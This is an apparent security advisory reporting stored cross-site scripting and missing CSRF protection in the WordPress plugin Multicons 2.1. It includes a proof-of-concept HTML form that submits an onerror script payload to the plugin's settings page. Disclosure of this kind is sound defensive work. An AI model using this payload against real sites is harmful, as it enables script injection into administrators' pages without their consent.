Hello,

Plugin: Multicons 2.1 https://wordpress.org/plugins/multicons/

1. Persistent Cross-Site Scripting (XSS) 

Authenticated administrators can store html/js code in plugin configuration values (there is no CSRF protection!).

Method: POST

Url: http://localhost/wp-admin/options-general.php?page=multicons%2Fmulticons.php

Vulnerable parameters: global_url, admin_url, etc...

Example PHP callstack:

personal_setup_page   [/multicons/multicons.php:86]

Verification:

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<form method="POST" action="http://localhost/wp-admin/options-general.php?page=multicons%2Fmulticons.php" />

<input type="text" name="global_url" value='"><img src=x onerror=alert(1) />' />

<input type="text" name="update" value='1' />

<input type="submit" name="submit" />

</form>

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